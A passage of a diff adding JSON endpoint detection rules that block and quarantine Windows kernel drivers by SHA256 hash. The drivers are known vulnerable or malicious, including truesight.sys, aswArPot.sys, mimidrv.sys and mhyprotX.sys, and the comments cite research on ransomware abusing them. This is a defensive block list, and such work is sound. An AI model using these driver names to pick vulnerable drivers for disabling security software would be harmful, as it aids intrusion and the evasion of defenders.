+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621106Z",
+  "creation_date": "2026-03-23T11:45:29.621108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "119c48b79735fda0ecd973d77d9bdc6b329960caed09b38ab454236ca039d280",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb381b37-eb0f-56f0-8ab0-f3ff9a1fa717",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835628Z",
+  "creation_date": "2026-03-23T11:45:30.835630Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcf3456fa90bdac43a1f4c63fcfd9a8ad3b3a404a8c0f6a1a399a671d4a52ae5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb3c0b66-a239-59dd-8613-d33b8ec70ebf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826336Z",
+  "creation_date": "2026-03-23T11:45:30.826338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826343Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6ac5a594db3b536fe6b74f54a09055428fcefc2e9cf19124a910fc0e322ee0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb4fbb14-b40a-514e-84ba-c314b653152e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969541Z",
+  "creation_date": "2026-03-23T11:45:29.969543Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bfad74a63ad223656a3b27fb3edc92bbef7dce431ccdb835d3cbae6a08a08f5",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb53ed46-1d61-5c0c-b0e3-e29d7a0db0ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488969Z",
+  "creation_date": "2026-03-23T11:45:31.488971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e987f8edeb917dbc06d1756d09ea983697e7062dfe33f34cae2183c22fae5bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb59b217-adf2-575f-9b86-9f84430f0332",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498091Z",
+  "creation_date": "2026-03-23T11:45:31.498095Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca08a2401b1ddb538b7883cee05360ecac816b0dc17a822fc23d6d05d6c1a0a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb5f708c-83df-5e62-ba3f-ab4a718570b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146378Z",
+  "creation_date": "2026-03-23T11:45:32.146380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146385Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3b12d9f35f9acd46d7e21627ad3e29149d203e211d665a3e03103f9cb7e4b86",
+  "comment": "Vulnerable Kernel Driver (aka wsftprm.sys) [https://www.loldrivers.io/drivers/30e8d598-2c60-49e4-953b-a6f620da1371/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb5ff984-80b7-5b80-b6ae-0c3f11051500",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807254Z",
+  "creation_date": "2026-03-23T11:45:31.807270Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807283Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1264becef907f7f33e8ba9106375e7c902b8835e58b10f9b54a54c2de7db2e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb777081-0212-53e9-a817-97a8f87223da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822709Z",
+  "creation_date": "2026-03-23T11:45:31.822712Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822721Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a04658d24014cde98165b44854d4d64b0fc908bc20d6ab3c8d89fef31b48661",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb77fda6-5e02-5a98-82b5-b47380399b4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469162Z",
+  "creation_date": "2026-03-23T11:45:30.469165Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2dd2620e1c844738429ba31e2545a8b2de1387117e4f24d6fe7fd4246b09ac39",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb823228-c5ff-5ed2-ac22-b3d76613c9df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830052Z",
+  "creation_date": "2026-03-23T11:45:31.830054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830059Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edacedc3c79728d1958506890c461ff0cd15735309a26cbe4308befbf527c23d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb83c7c0-829e-5cd5-aa39-08fd9a7c785d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464034Z",
+  "creation_date": "2026-03-23T11:45:30.464037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d37996abc8efb29f1ccbb4335ce9ba9158bec86cc4775f0177112e87e4e3be5c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb845f78-6d05-5590-9971-bad3cdbd7a3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141733Z",
+  "creation_date": "2026-03-23T11:45:31.141735Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "702fcd3be8e060e1aa22b9854e14bcf312425c388c2ce9185cd082430c555e9b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bb999384-d931-596b-b79a-1b771f337164",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830473Z",
+  "creation_date": "2026-03-23T11:45:30.830475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47dd83a8770fc755c1cc0440ef1baa1e262b03a774f200276b1b82ae5b7ed4f7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbb09f38-bb2a-5a74-b1ad-be76aa2c6f93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815309Z",
+  "creation_date": "2026-03-23T11:45:31.815310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815316Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdfa1c5aade70879639bcfd4f08ab909d0e7479e74817f42a4af2d49d80b5f85",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbb88b8c-e5fe-5482-ba8f-01073e71b7a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833643Z",
+  "creation_date": "2026-03-23T11:45:30.833647Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "28124094439a1fb9a8988bcfb37bd02f21988c4a74ecd8f869466102cc3d2bf5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbb8fde8-3eb9-588a-b63d-b434b6101cfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608777Z",
+  "creation_date": "2026-03-23T11:45:29.608779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5a2fe8ab935cf47f21e0c5e0de11a98271054109827dc930293b947d3b05079",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbdabf3e-4a4d-574c-811b-af696ffa7630",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621193Z",
+  "creation_date": "2026-03-23T11:45:29.621195Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621202Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3966edd6b2291aad8ce21f35f85ea18a60e5c382891809bf4d4e07d0b0c61a8",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbde88ba-f337-5cd1-b29d-272203753854",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980098Z",
+  "creation_date": "2026-03-23T11:45:29.980100Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980105Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93d873cdf23d5edc622b74f9544cac7fe247d7a68e1e2a7bf2879fad97a3ae63",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbe92855-d0b8-598c-aec6-5c24529e370c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475697Z",
+  "creation_date": "2026-03-23T11:45:31.475701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce90d578ca16d80e853080a5bc7daf91130b02ec8a76c73f7d0b66c4a9600ba5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bbf85d81-be35-58e9-ae72-96781c300730",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457803Z",
+  "creation_date": "2026-03-23T11:45:30.457806Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e7b79fe1377b3da749590c080d4d96e59e622b1013b2183b98c81baa8bf2fffe",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc23c5ab-062c-5d98-85cf-920cb46b7a47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612146Z",
+  "creation_date": "2026-03-23T11:45:29.612148Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612154Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df3fd9fa267e12d7c6b65028373e21978041f0c94375b5c7316498fbad6f4ae0",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "bc338102-66c0-5989-9b17-42f74e11fded",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613495Z",
